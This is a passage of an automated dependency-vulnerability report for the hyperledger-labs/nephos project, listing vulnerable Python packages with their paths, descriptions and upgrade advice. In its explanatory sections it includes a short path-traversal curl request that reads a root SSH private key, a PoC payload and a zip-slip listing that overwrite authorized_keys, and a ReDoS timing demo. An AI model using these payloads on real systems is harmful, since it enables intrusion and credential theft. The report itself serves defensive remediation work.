Accept-Encoding: identity

Remediation

Upgrade urllib3 to version 1.25.9 or higher.

References

high severity

Denial of Service (DoS)

  • Vulnerable module: cryptography
  • Introduced through: cryptography@2.8 and adal@1.2.2

Detailed paths

  • Introduced through: hyperledger-labs/nephos@hyperledger-labs/nephos#4a39da2aaa5f7e88dc692fc53e9bd1308dbabab6 cryptography@2.8
    Remediation: Upgrade to cryptography@39.0.1.
  • Introduced through: hyperledger-labs/nephos@hyperledger-labs/nephos#4a39da2aaa5f7e88dc692fc53e9bd1308dbabab6 adal@1.2.2 cryptography@2.8

Overview

Affected versions of this package are vulnerable to Denial of Service (DoS) due to a null pointer dereference in when signatures are being verified on PKCS7 signed or signedAndEnveloped data in pkcs7/pk7_doit.c. If the hash algorithm used for the signature is known to the OpenSSL library but the implementation of the hash algorithm is not available, the digest initialization will fail.

NOTE: The TLS implementation in OpenSSL does not call these functions.

Details

Denial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its intended and legitimate users.

Unlike other vulnerabilities, DoS attacks usually do not aim at breaching security. Rather, they are focused on making websites and services unavailable to genuine users resulting in downtime.

One popular Denial of Service vulnerability is DDoS (a Distributed Denial of Service), an attack that attempts to clog network pipes to the system by generating a large volume of traffic from many machines.

When it comes to open source libraries, DoS vulnerabilities allow attackers to trigger such a crash or crippling of the service by using a flaw either in the application code or from the use of open source libraries.

Two common types of DoS vulnerabilities:

  • High CPU/Memory Consumption- An attacker sending crafted requests that could cause the system to take a disproportionate amount of time to process. For example, commons-fileupload:commons-fileupload.

  • Crash - An attacker sending crafted requests that could cause the system to crash. For Example, npm ws package

Remediation

Upgrade cryptography to version 39.0.1 or higher.

References

high severity

Observable Timing Discrepancy

  • Vulnerable module: cryptography
  • Introduced through: cryptography@2.8 and adal@1.2.2

Detailed paths

  • Introduced through: hyperledger-labs/nephos@hyperledger-labs/nephos#4a39da2aaa5f7e88dc692fc53e9bd1308dbabab6 cryptography@2.8
    Remediation: Upgrade to cryptography@42.0.0.
  • Introduced through: hyperledger-labs/nephos@hyperledger-labs/nephos#4a39da2aaa5f7e88dc692fc53e9bd1308dbabab6 adal@1.2.2 cryptography@2.8

Overview

Affected versions of this package are vulnerable to Observable Timing Discrepancy. This issue may allow a remote attacker to decrypt captured messages in TLS servers that use RSA key exchanges, which may lead to exposure of confidential or sensitive data (Marvin).

Note:

This vulnerability exists due to an incomplete fix for CVE-2020-25659.

Remediation

Upgrade cryptography to version 42.0.0 or higher.

References

high severity

Regular Expression Denial of Service (ReDoS)

  • Vulnerable module: mistune
  • Introduced through: mistune@0.8.4 and m2r@0.2.1

Detailed paths

  • Introduced through: hyperledger-labs/nephos@hyperledger-labs/nephos#4a39da2aaa5f7e88dc692fc53e9bd1308dbabab6 mistune@0.8.4
    Remediation: Upgrade to mistune@2.0.3.
  • Introduced through: hyperledger-labs/nephos@hyperledger-labs/nephos#4a39da2aaa5f7e88dc692fc53e9bd1308dbabab6 m2r@0.2.1 mistune@0.8.4
    Remediation: Upgrade to m2r@0.2.1.

Overview

Affected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS) in the ASTERISK_EMPHASIS regex.

Details

Denial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.

The Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.

Let’s take the following regular expression as an example:

regex = /A(B|C+)+D/

This regular expression accomplishes the following:

  • A The string must start with the letter 'A'
  • (B|C+)+ The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the + matches one or more times). The + at the end of this section states that we can look for one or more matches of this section.
  • D Finally, we ensure this section of the string ends with a 'D'

The expression would match inputs such as ABBD, ABCCCCD, ABCBCCCD and ACCCCCD

It most cases, it doesn't take very long for a regex engine to find a match:

$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD")'
0.04s user 0.01s system 95% cpu 0.052 total

$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX")'
1.79s user 0.02s system 99% cpu 1.812 total

The entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated.

Most Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit hole only to find out the string doesn’t match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in what is known as catastrophic backtracking.

Let's look at how our expression runs into this problem, using a shorter string: "ACCCX". While it seems fairly straightforward, there are still four different ways that the engine could match those three C's:

  1. CCC
  2. CC+C
  3. C+CC
  4. C+C+C.

The engine has to try each of those combinations to see if any of them potentially match against the expression. When you combine that with the other steps the engine must take, we can use RegEx 101 debugger to see the engine has to take a total of 38 steps before it can determine the string doesn't match.

From there, the number of steps the engine must use to validate a string just continues to grow.

String Number of C's Number of steps
ACCCX 3 38
ACCCCX 4 71
ACCCCCX 5 136
ACCCCCCCCCCCCCCX 14 65,553

By the time the string includes 14 C's, the engine has to take over 65,000 steps just to see if the string is valid. These extreme situations can cause them to work very slowly (exponentially related to input size, as shown above), allowing an attacker to exploit this and can cause the service to excessively consume CPU, resulting in a Denial of Service.

Remediation

Upgrade mistune to version 2.0.3 or higher.

References

high severity

Denial of Service (DoS)

  • Vulnerable module: pygments
  • Introduced through: pygments@2.3.1, readme-renderer@24.0 and others

Detailed paths

  • Introduced through: hyperledger-labs/nephos@hyperledger-labs/nephos#4a39da2aaa5f7e88dc692fc53e9bd1308dbabab6 pygments@2.3.1
    Remediation: Upgrade to pygments@2.7.4.
  • Introduced through: hyperledger-labs/nephos@hyperledger-labs/nephos#4a39da2aaa5f7e88dc692fc53e9bd1308dbabab6 readme-renderer@24.0 pygments@2.3.1
    Remediation: Upgrade to readme-renderer@24.0.
  • Introduced through: hyperledger-labs/nephos@hyperledger-labs/nephos#4a39da2aaa5f7e88dc692fc53e9bd1308dbabab6 sphinx@2.2.1 pygments@2.3.1
    Remediation: Upgrade to sphinx@2.2.1.
  • Introduced through: hyperledger-labs/nephos@hyperledger-labs/nephos#4a39da2aaa5f7e88dc692fc53e9bd1308dbabab6 twine@2.0.0 readme-renderer@24.0 pygments@2.3.1
    Remediation: Upgrade to twine@5.0.0.
  • Introduced through: hyperledger-labs/nephos@hyperledger-labs/nephos#4a39da2aaa5f7e88dc692fc53e9bd1308dbabab6 sphinx-rtd-theme@0.4.3 sphinx@2.2.1 pygments@2.3.1
    Remediation: Upgrade to sphinx-rtd-theme@3.0.0.

Overview

Affected versions of this package are vulnerable to Denial of Service (DoS). An infinite loop exists in SMLLexer that may lead to denial of service. This occurs when performing syntax highlighting of a Standard ML (SML) source file, as demonstrated by an input that only contains the "exception" keyword.

Details

Denial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its intended and legitimate users.

Unlike other vulnerabilities, DoS attacks usually do not aim at breaching security. Rather, they are focused on making websites and services unavailable to genuine users resulting in downtime.

One popular Denial of Service vulnerability is DDoS (a Distributed Denial of Service), an attack that attempts to clog network pipes to the system by generating a large volume of traffic from many machines.

When it comes to open source libraries, DoS vulnerabilities allow attackers to trigger such a crash or crippling of the service by using a flaw either in the application code or from the use of open source libraries.

Two common types of DoS vulnerabilities:

  • High CPU/Memory Consumption- An attacker sending crafted requests that could cause the system to take a disproportionate amount of time to process. For example, commons-fileupload:commons-fileupload.

  • Crash - An attacker sending crafted requests that could cause the system to crash. For Example, npm ws package

Remediation

Upgrade Pygments to version 2.7.4 or higher.

References

high severity

Regular Expression Denial of Service (ReDoS)

  • Vulnerable module: pygments
  • Introduced through: pygments@2.3.1, readme-renderer@24.0 and others

Detailed paths

  • Introduced through: hyperledger-labs/nephos@hyperledger-labs/nephos#4a39da2aaa5f7e88dc692fc53e9bd1308dbabab6 pygments@2.3.1
    Remediation: Upgrade to pygments@2.7.4.
  • Introduced through: hyperledger-labs/nephos@hyperledger-labs/nephos#4a39da2aaa5f7e88dc692fc53e9bd1308dbabab6 readme-renderer@24.0 pygments@2.3.1
    Remediation: Upgrade to readme-renderer@24.0.
  • Introduced through: hyperledger-labs/nephos@hyperledger-labs/nephos#4a39da2aaa5f7e88dc692fc53e9bd1308dbabab6 sphinx@2.2.1 pygments@2.3.1
    Remediation: Upgrade to sphinx@2.2.1.
  • Introduced through: hyperledger-labs/nephos@hyperledger-labs/nephos#4a39da2aaa5f7e88dc692fc53e9bd1308dbabab6 twine@2.0.0 readme-renderer@24.0 pygments@2.3.1
    Remediation: Upgrade to twine@5.0.0.
  • Introduced through: hyperledger-labs/nephos@hyperledger-labs/nephos#4a39da2aaa5f7e88dc692fc53e9bd1308dbabab6 sphinx-rtd-theme@0.4.3 sphinx@2.2.1 pygments@2.3.1
    Remediation: Upgrade to sphinx-rtd-theme@3.0.0.

Overview

Affected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS). The lexers used to parse programming languages rely heavily on regular expressions. Some of these have exponential or cubic worst-case complexity and can be abuse by crafting malicious input.

Details

Denial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.

The Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.

Let’s take the following regular expression as an example:

regex = /A(B|C+)+D/

This regular expression accomplishes the following:

  • A The string must start with the letter 'A'
  • (B|C+)+ The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the + matches one or more times). The + at the end of this section states that we can look for one or more matches of this section.
  • D Finally, we ensure this section of the string ends with a 'D'

The expression would match inputs such as ABBD, ABCCCCD, ABCBCCCD and ACCCCCD

It most cases, it doesn't take very long for a regex engine to find a match:

$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD")'
0.04s user 0.01s system 95% cpu 0.052 total

$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX")'
1.79s user 0.02s system 99% cpu 1.812 total

The entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated.

Most Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit hole only to find out the string doesn’t match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in what is known as catastrophic backtracking.

Let's look at how our expression runs into this problem, using a shorter string: "ACCCX". While it seems fairly straightforward, there are still four different ways that the engine could match those three C's:

  1. CCC
  2. CC+C
  3. C+CC
  4. C+C+C.

The engine has to try each of those combinations to see if any of them potentially match against the expression. When you combine that with the other steps the engine must take, we can use RegEx 101 debugger to see the engine has to take a total of 38 steps before it can determine the string doesn't match.

From there, the number of steps the engine must use to validate a string just continues to grow.

String Number of C's Number of steps
ACCCX 3 38
ACCCCX 4 71
ACCCCCX 5 136
ACCCCCCCCCCCCCCX 14 65,553

By the time the string includes 14 C's, the engine has to take over 65,000 steps just to see if the string is valid. These extreme situations can cause them to work very slowly (exponentially related to input size, as shown above), allowing an attacker to exploit this and can cause the service to excessively consume CPU, resulting in a Denial of Service.

Remediation

Upgrade Pygments to version 2.7.4 or higher.

References

high severity

Improper Control of Generation of Code ('Code Injection')

  • Vulnerable module: setuptools
  • Introduced through: google-auth@1.7.1, kubernetes@10.0.1 and others

Detailed paths

  • Introduced through: hyperledger-labs/nephos@hyperledger-labs/nephos#4a39da2aaa5f7e88dc692fc53e9bd1308dbabab6 google-auth@1.7.1 setuptools@40.5.0
    Remediation: Upgrade to google-auth@2.4.0.
  • Introduced through: hyperledger-labs/nephos@hyperledger-labs/nephos#4a39da2aaa5f7e88dc692fc53e9bd1308dbabab6 kubernetes@10.0.1 setuptools@40.5.0
    Remediation: Upgrade to kubernetes@27.2.0.
  • Introduced through: hyperledger-labs/nephos@hyperledger-labs/nephos#4a39da2aaa5f7e88dc692fc53e9bd1308dbabab6 sphinx@2.2.1 setuptools@40.5.0
    Remediation: Upgrade to sphinx@4.4.0.
  • Introduced through: hyperledger-labs/nephos@hyperledger-labs/nephos#4a39da2aaa5f7e88dc692fc53e9bd1308dbabab6 twine@2.0.0 setuptools@40.5.0
    Remediation: Upgrade to twine@3.4.0.
  • Introduced through: hyperledger-labs/nephos@hyperledger-labs/nephos#4a39da2aaa5f7e88dc692fc53e9bd1308dbabab6 kubernetes@10.0.1 google-auth@1.7.1 setuptools@40.5.0
    Remediation: Upgrade to kubernetes@28.1.0.
  • Introduced through: hyperledger-labs/nephos@hyperledger-labs/nephos#4a39da2aaa5f7e88dc692fc53e9bd1308dbabab6 sphinx-rtd-theme@0.4.3 sphinx@2.2.1 setuptools@40.5.0
    Remediation: Upgrade to sphinx-rtd-theme@3.0.0.

Overview

Affected versions of this package are vulnerable to Improper Control of Generation of Code ('Code Injection') through the package_index module's download functions due to the unsafe usage of os.system. An attacker can execute arbitrary commands on the system by providing malicious URLs or manipulating the URLs retrieved from package index servers.

Note

Because easy_install and package_index are deprecated, the exploitation surface is reduced, but it's conceivable through social engineering or minor compromise to a package index could grant remote access.

Remediation

Upgrade setuptools to version 70.0.0 or higher.

References

high severity

Access of Resource Using Incompatible Type ('Type Confusion')

  • Vulnerable module: cryptography
  • Introduced through: cryptography@2.8 and adal@1.2.2

Detailed paths

  • Introduced through: hyperledger-labs/nephos@hyperledger-labs/nephos#4a39da2aaa5f7e88dc692fc53e9bd1308dbabab6 cryptography@2.8
    Remediation: Upgrade to cryptography@39.0.1.
  • Introduced through: hyperledger-labs/nephos@hyperledger-labs/nephos#4a39da2aaa5f7e88dc692fc53e9bd1308dbabab6 adal@1.2.2 cryptography@2.8

Overview

Affected versions of this package are vulnerable to Access of Resource Using Incompatible Type ('Type Confusion') in x509/v3_genn.c, when processing X.400 addresses with CRL checking enabled (e.g. when X509_V_FLAG_CRL_CHECK is set). An attacker in possession of both the certificate chain and CRL, of which neither needs a valid signature, can expose memory or cause a denial of service. If the attacker only controls one of these inputs, the other input must already contain an X.400 address as a CRL distribution point, which is uncommon.

Remediation

Upgrade cryptography to version 39.0.1 or higher.

References

high severity

Use of a Broken or Risky Cryptographic Algorithm

  • Vulnerable module: pyjwt
  • Introduced through: pyjwt@1.7.1 and adal@1.2.2

Detailed paths

  • Introduced through: hyperledger-labs/nephos@hyperledger-labs/nephos#4a39da2aaa5f7e88dc692fc53e9bd1308dbabab6 pyjwt@1.7.1
    Remediation: Upgrade to pyjwt@2.4.0.
  • Introduced through: hyperledger-labs/nephos@hyperledger-labs/nephos#4a39da2aaa5f7e88dc692fc53e9bd1308dbabab6 adal@1.2.2 pyjwt@1.7.1
    Remediation: Upgrade to adal@1.2.2.

Overview

PyJWT is a Python implementation of RFC 7519.

Affected versions of this package are vulnerable to Use of a Broken or Risky Cryptographic Algorithm via non-blacklisted public key formats, leading to key confusion.

Remediation

Upgrade PyJWT to version 2.4.0 or higher.

References

high severity

SQL Injection

  • Vulnerable module: bandit
  • Introduced through: bandit@1.6.2

Detailed paths

  • Introduced through: hyperledger-labs/nephos@hyperledger-labs/nephos#4a39da2aaa5f7e88dc692fc53e9bd1308dbabab6 bandit@1.6.2
    Remediation: Upgrade to bandit@1.7.7.

Overview

bandit is a Security oriented static analyser for python code.

Affected versions of this package are vulnerable to SQL Injection due to using the str.replace method as a potential risk which, potentially enables the execution of arbitrary SQL code.

Remediation

Upgrade bandit to version 1.7.7 or higher.

References

medium severity

Infinite loop

  • Vulnerable module: zipp
  • Introduced through: pluggy@0.13.0, pytest@5.3.2 and others

Detailed paths

  • Introduced through: hyperledger-labs/nephos@hyperledger-labs/nephos#4a39da2aaa5f7e88dc692fc53e9bd1308dbabab6 pluggy@0.13.0 importlib-metadata@6.7.0 zipp@3.15.0
    Remediation: Upgrade to pluggy@1.3.0.
  • Introduced through: hyperledger-labs/nephos@hyperledger-labs/nephos#4a39da2aaa5f7e88dc692fc53e9bd1308dbabab6 pytest@5.3.2 importlib-metadata@6.7.0 zipp@3.15.0
    Remediation: Upgrade to pytest@7.4.1.
  • Introduced through: hyperledger-labs/nephos@hyperledger-labs/nephos#4a39da2aaa5f7e88dc692fc53e9bd1308dbabab6 pytest@5.3.2 pluggy@0.13.0 importlib-metadata@6.7.0 zipp@3.15.0
    Remediation: Upgrade to pytest@7.4.1.
  • Introduced through: hyperledger-labs/nephos@hyperledger-labs/nephos#4a39da2aaa5f7e88dc692fc53e9bd1308dbabab6 pytest-cov@2.8.1 pytest@5.3.2 importlib-metadata@6.7.0 zipp@3.15.0
    Remediation: Upgrade to pytest-cov@5.0.0.
  • Introduced through: hyperledger-labs/nephos@hyperledger-labs/nephos#4a39da2aaa5f7e88dc692fc53e9bd1308dbabab6 pytest-cov@2.8.1 pytest@5.3.2 pluggy@0.13.0 importlib-metadata@6.7.0 zipp@3.15.0
    Remediation: Upgrade to pytest-cov@5.0.0.

Overview

Affected versions of this package are vulnerable to Infinite loop where an attacker can cause the application to stop responding by initiating a loop through functions affecting the Path module, such as joinpath, the overloaded division operator, and iterdir.

Details

Denial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its intended and legitimate users.

Unlike other vulnerabilities, DoS attacks usually do not aim at breaching security. Rather, they are focused on making websites and services unavailable to genuine users resulting in downtime.

One popular Denial of Service vulnerability is DDoS (a Distributed Denial of Service), an attack that attempts to clog network pipes to the system by generating a large volume of traffic from many machines.

When it comes to open source libraries, DoS vulnerabilities allow attackers to trigger such a crash or crippling of the service by using a flaw either in the application code or from the use of open source libraries.

Two common types of DoS vulnerabilities:

  • High CPU/Memory Consumption- An attacker sending crafted requests that could cause the system to take a disproportionate amount of time to process. For example, commons-fileupload:commons-fileupload.

  • Crash - An attacker sending crafted requests that could cause the system to crash. For Example, npm ws package

Remediation

Upgrade zipp to version 3.19.1 or higher.

References

medium severity

Insufficient Verification of Data Authenticity

  • Vulnerable module: certifi
  • Introduced through: certifi@2019.9.11, requests@2.22.0 and others

Detailed paths

  • Introduced through: hyperledger-labs/nephos@hyperledger-labs/nephos#4a39da2aaa5f7e88dc692fc53e9bd1308dbabab6 certifi@2019.9.11
    Remediation: Upgrade to certifi@2022.12.7.
  • Introduced through: hyperledger-labs/nephos@hyperledger-labs/nephos#4a39da2aaa5f7e88dc692fc53e9bd1308dbabab6 requests@2.22.0 certifi@2019.9.11
    Remediation: Upgrade to requests@2.32.0.
  • Introduced through: hyperledger-labs/nephos@hyperledger-labs/nephos#4a39da2aaa5f7e88dc692fc53e9bd1308dbabab6 kubernetes@10.0.1 certifi@2019.9.11
    Remediation: Upgrade to kubernetes@28.1.0.
  • Introduced through: hyperledger-labs/nephos@hyperledger-labs/nephos#4a39da2aaa5f7e88dc692fc53e9bd1308dbabab6 adal@1.2.2 requests@2.22.0 certifi@2019.9.11
  • Introduced through: hyperledger-labs/nephos@hyperledger-labs/nephos#4a39da2aaa5f7e88dc692fc53e9bd1308dbabab6 requests-oauthlib@1.2.0 requests@2.22.0 certifi@2019.9.11
    Remediation: Upgrade to requests-oauthlib@1.2.0.
  • Introduced through: hyperledger-labs/nephos@hyperledger-labs/nephos#4a39da2aaa5f7e88dc692fc53e9bd1308dbabab6 kubernetes@10.0.1 requests@2.22.0 certifi@2019.9.11
  • Introduced through: hyperledger-labs/nephos@hyperledger-labs/nephos#4a39da2aaa5f7e88dc692fc53e9bd1308dbabab6 requests-toolbelt@0.9.1 requests@2.22.0 certifi@2019.9.11
  • Introduced through: hyperledger-labs/nephos@hyperledger-labs/nephos#4a39da2aaa5f7e88dc692fc53e9bd1308dbabab6 sphinx@2.2.1 requests@2.22.0 certifi@2019.9.11
    Remediation: Upgrade to sphinx@5.2.0.
  • Introduced through: hyperledger-labs/nephos@hyperledger-labs/nephos#4a39da2aaa5f7e88dc692fc53e9bd1308dbabab6 twine@2.0.0 requests@2.22.0 certifi@2019.9.11
    Remediation: Upgrade to twine@5.0.0.
  • Introduced through: hyperledger-labs/nephos@hyperledger-labs/nephos#4a39da2aaa5f7e88dc692fc53e9bd1308dbabab6 kubernetes@10.0.1 requests-oauthlib@1.2.0 requests@2.22.0 certifi@2019.9.11
  • Introduced through: hyperledger-labs/nephos@hyperledger-labs/nephos#4a39da2aaa5f7e88dc692fc53e9bd1308dbabab6 twine@2.0.0 requests-toolbelt@0.9.1 requests@2.22.0 certifi@2019.9.11
  • Introduced through: hyperledger-labs/nephos@hyperledger-labs/nephos#4a39da2aaa5f7e88dc692fc53e9bd1308dbabab6 sphinx-rtd-theme@0.4.3 sphinx@2.2.1 requests@2.22.0 certifi@2019.9.11
    Remediation: Upgrade to sphinx-rtd-theme@3.0.0.

Overview

Affected versions of this package are vulnerable to Insufficient Verification of Data Authenticity resulting in Certifi root certificate removal from TrustCor. The root certificates are being removed pursuant to an investigation prompted by media reporting that TrustCor's ownership also operated a business that produced spyware.

Remediation

Upgrade certifi to version 2022.12.7 or higher.

References

medium severity

Directory Traversal

  • Vulnerable module: setuptools
  • Introduced through: google-auth@1.7.1, kubernetes@10.0.1 and others

Detailed paths

  • Introduced through: hyperledger-labs/nephos@hyperledger-labs/nephos#4a39da2aaa5f7e88dc692fc53e9bd1308dbabab6 google-auth@1.7.1 setuptools@40.5.0
    Remediation: Upgrade to google-auth@2.4.0.
  • Introduced through: hyperledger-labs/nephos@hyperledger-labs/nephos#4a39da2aaa5f7e88dc692fc53e9bd1308dbabab6 kubernetes@10.0.1 setuptools@40.5.0
    Remediation: Upgrade to kubernetes@27.2.0.
  • Introduced through: hyperledger-labs/nephos@hyperledger-labs/nephos#4a39da2aaa5f7e88dc692fc53e9bd1308dbabab6 sphinx@2.2.1 setuptools@40.5.0
    Remediation: Upgrade to sphinx@4.4.0.
  • Introduced through: hyperledger-labs/nephos@hyperledger-labs/nephos#4a39da2aaa5f7e88dc692fc53e9bd1308dbabab6 twine@2.0.0 setuptools@40.5.0
    Remediation: Upgrade to twine@3.4.0.
  • Introduced through: hyperledger-labs/nephos@hyperledger-labs/nephos#4a39da2aaa5f7e88dc692fc53e9bd1308dbabab6 kubernetes@10.0.1 google-auth@1.7.1 setuptools@40.5.0
    Remediation: Upgrade to kubernetes@28.1.0.
  • Introduced through: hyperledger-labs/nephos@hyperledger-labs/nephos#4a39da2aaa5f7e88dc692fc53e9bd1308dbabab6 sphinx-rtd-theme@0.4.3 sphinx@2.2.1 setuptools@40.5.0
    Remediation: Upgrade to sphinx-rtd-theme@3.0.0.

Overview

Affected versions of this package are vulnerable to Directory Traversal through the ‎PackageIndex._download_url method. Due to insufficient sanitization of special characters, an attacker can write files to arbitrary locations on the filesystem with the permissions of the process running the Python code. In certain scenarios, an attacker could potentially escalate to remote code execution by leveraging malicious URLs present in a package index.

PoC

python poc.py
# Payload file: http://localhost:8000/%2fhome%2fuser%2f.ssh%2fauthorized_keys
# Written to: /home/user/.ssh/authorized_keys

Details

A Directory Traversal attack (also known as path traversal) aims to access files and directories that are stored outside the intended folder. By manipulating files with "dot-dot-slash (../)" sequences and its variations, or by using absolute file paths, it may be possible to access arbitrary files and directories stored on file system, including application source code, configuration, and other critical system files.

Directory Traversal vulnerabilities can be generally divided into two types:

  • Information Disclosure: Allows the attacker to gain information about the folder structure or read the contents of sensitive files on the system.

st is a module for serving static files on web pages, and contains a vulnerability of this type. In our example, we will serve files from the public route.

If an attacker requests the following URL from our server, it will in turn leak the sensitive private key of the root user.

curl http://localhost:8080/public/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/root/.ssh/id_rsa

Note %2e is the URL encoded version of . (dot).

  • Writing arbitrary files: Allows the attacker to create or replace existing files. This type of vulnerability is also known as Zip-Slip.

One way to achieve this is by using a malicious zip archive that holds path traversal filenames. When each filename in the zip archive gets concatenated to the target extraction folder, without validation, the final path ends up outside of the target folder. If an executable or a configuration file is overwritten with a file containing malicious code, the problem can turn into an arbitrary code execution issue quite easily.

The following is an example of a zip archive with one benign file and one malicious file. Extracting the malicious file will result in traversing out of the target folder, ending up in /root/.ssh/ overwriting the authorized_keys file:

2018-04-15 22:04:29 .....           19           19  good.txt
2018-04-15 22:04:42 .....           20           20  ../../../../../../root/.ssh/authorized_keys

Remediation

Upgrade setuptools to version 78.1.1 or higher.

References

medium severity

Denial of Service (DoS)

  • Vulnerable module: cryptography
  • Introduced through: cryptography@2.8 and adal@1.2.2

Detailed paths

  • Introduced through: hyperledger-labs/nephos@hyperledger-labs/nephos#4a39da2aaa5f7e88dc692fc53e9bd1308dbabab6 cryptography@2.8
    Remediation: Upgrade to cryptography@41.0.4.
  • Introduced through: hyperledger-labs/nephos@hyperledger-labs/nephos#4a39da2aaa5f7e88dc692fc53e9bd1308dbabab6 adal@1.2.2 cryptography@2.8

Overview

Affected versions of this package are vulnerable to Denial of Service (DoS). The POLY1305 MAC (message authentication code) implementation might corrupt the internal state of applications on the Windows 64 platform when running on newer X86_64 processors supporting AVX512-IFMA instructions. If an attacker can influence whether the POLY1305 MAC algorithm is used in an application, the application state might be corrupted with various application dependent consequences, the most likely of which being denial of service. The maintainers are currently not aware of any concrete application that would be affected by this issue.

NOTES:

This vulnerability is only exploitable on Windows.

The FIPS provider is not affected by this issue.

Workaround

Disable AVX512-IFMA instructions by setting the environment variable OPENSSL_ia32cap: OPENSSL_ia32cap=:~0x200000

Details

Denial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its intended and legitimate users.

Unlike other vulnerabilities, DoS attacks usually do not aim at breaching security. Rather, they are focused on making websites and services unavailable to genuine users resulting in downtime.

One popular Denial of Service vulnerability is DDoS (a Distributed Denial of Service), an attack that attempts to clog network pipes to the system by generating a large volume of traffic from many machines.

When it comes to open source libraries, DoS vulnerabilities allow attackers to trigger such a crash or crippling of the service by using a flaw either in the application code or from the use of open source libraries.

Two common types of DoS vulnerabilities:

  • High CPU/Memory Consumption- An attacker sending crafted requests that could cause the system to take a disproportionate amount of time to process. For example, commons-fileupload:commons-fileupload.

  • Crash - An attacker sending crafted requests that could cause the system to crash. For Example, npm ws package

Remediation

Upgrade cryptography to version 41.0.4 or higher.

References

medium severity

Cross-site Scripting (XSS)

  • Vulnerable module: sphinx
  • Introduced through: sphinx@2.2.1 and sphinx-rtd-theme@0.4.3

Detailed paths

  • Introduced through: hyperledger-labs/nephos@hyperledger-labs/nephos#4a39da2aaa5f7e88dc692fc53e9bd1308dbabab6 sphinx@2.2.1
    Remediation: Upgrade to sphinx@3.0.4.
  • Introduced through: hyperledger-labs/nephos@hyperledger-labs/nephos#4a39da2aaa5f7e88dc692fc53e9bd1308dbabab6 sphinx-rtd-theme@0.4.3 sphinx@2.2.1
    Remediation: Upgrade to sphinx-rtd-theme@3.0.0.

Overview

Sphinx is a Python documentation generator.

Affected versions of this package are vulnerable to Cross-site Scripting (XSS). Passing HTML from untrusted sources - even after sanitizing it - to one of jQuery's DOM manipulation methods (i.e. .html(), .append(), and others) may execute untrusted code.

Remediation

Upgrade Sphinx to version 3.0.4 or higher.

References

medium severity

Cross-site Scripting (XSS)

  • Vulnerable module: sphinx
  • Introduced through: sphinx@2.2.1 and sphinx-rtd-theme@0.4.3

Detailed paths

  • Introduced through: hyperledger-labs/nephos@hyperledger-labs/nephos#4a39da2aaa5f7e88dc692fc53e9bd1308dbabab6 sphinx@2.2.1
    Remediation: Upgrade to sphinx@3.0.4.
  • Introduced through: hyperledger-labs/nephos@hyperledger-labs/nephos#4a39da2aaa5f7e88dc692fc53e9bd1308dbabab6 sphinx-rtd-theme@0.4.3 sphinx@2.2.1
    Remediation: Upgrade to sphinx-rtd-theme@3.0.0.

Overview

Sphinx is a Python documentation generator.

Affected versions of this package are vulnerable to Cross-site Scripting (XSS) Passing HTML containing <option> elements from untrusted sources - even after sanitizing it - to one of jQuery's DOM manipulation methods (i.e. .html(), .append(), and others) may execute untrusted code.

NOTE: This vulnerability was also assigned CVE-2020-23064.

Details

Remediation

Upgrade Sphinx to version 3.0.4 or higher.

References

medium severity

Resource Exhaustion

  • Vulnerable module: idna
  • Introduced through: idna@2.8, requests@2.22.0 and others

Detailed paths

  • Introduced through: hyperledger-labs/nephos@hyperledger-labs/nephos#4a39da2aaa5f7e88dc692fc53e9bd1308dbabab6 idna@2.8
    Remediation: Upgrade to idna@3.7.
  • Introduced through: hyperledger-labs/nephos@hyperledger-labs/nephos#4a39da2aaa5f7e88dc692fc53e9bd1308dbabab6 requests@2.22.0 idna@2.8
    Remediation: Upgrade to requests@2.32.0.
  • Introduced through: hyperledger-labs/nephos@hyperledger-labs/nephos#4a39da2aaa5f7e88dc692fc53e9bd1308dbabab6 adal@1.2.2 requests@2.22.0 idna@2.8
  • Introduced through: hyperledger-labs/nephos@hyperledger-labs/nephos#4a39da2aaa5f7e88dc692fc53e9bd1308dbabab6 requests-oauthlib@1.2.0 requests@2.22.0 idna@2.8
    Remediation: Upgrade to requests-oauthlib@1.2.0.
  • Introduced through: hyperledger-labs/nephos@hyperledger-labs/nephos#4a39da2aaa5f7e88dc692fc53e9bd1308dbabab6 kubernetes@10.0.1 requests@2.22.0 idna@2.8
